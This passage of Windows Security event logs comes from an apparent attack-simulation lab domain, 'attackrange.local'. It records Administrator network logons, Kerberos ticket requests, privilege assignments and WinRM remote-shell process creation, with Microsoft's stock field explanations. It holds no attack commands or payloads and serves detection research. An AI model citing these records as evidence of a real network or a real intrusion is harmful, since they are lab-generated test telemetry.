	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251955
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251954
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251953
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251952
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x114c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251951
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Process Information:
	New Process ID:		0x274
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251950
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251949
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251948
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251947
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251946
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251945
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E57

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251944
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251943
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485D4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251942
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BC5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251941
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251940
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14278C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251939
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C74

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251938
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E57

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251937
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251936
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251935
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251934
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251933
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E3B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251932
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E3B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251931
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E3B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251930
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251929
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{79832C66-5765-70DF-F1C4-16F0BF59FC24}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251928
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251927
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x148788

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252009
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14CBCC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252008
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14CBCC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
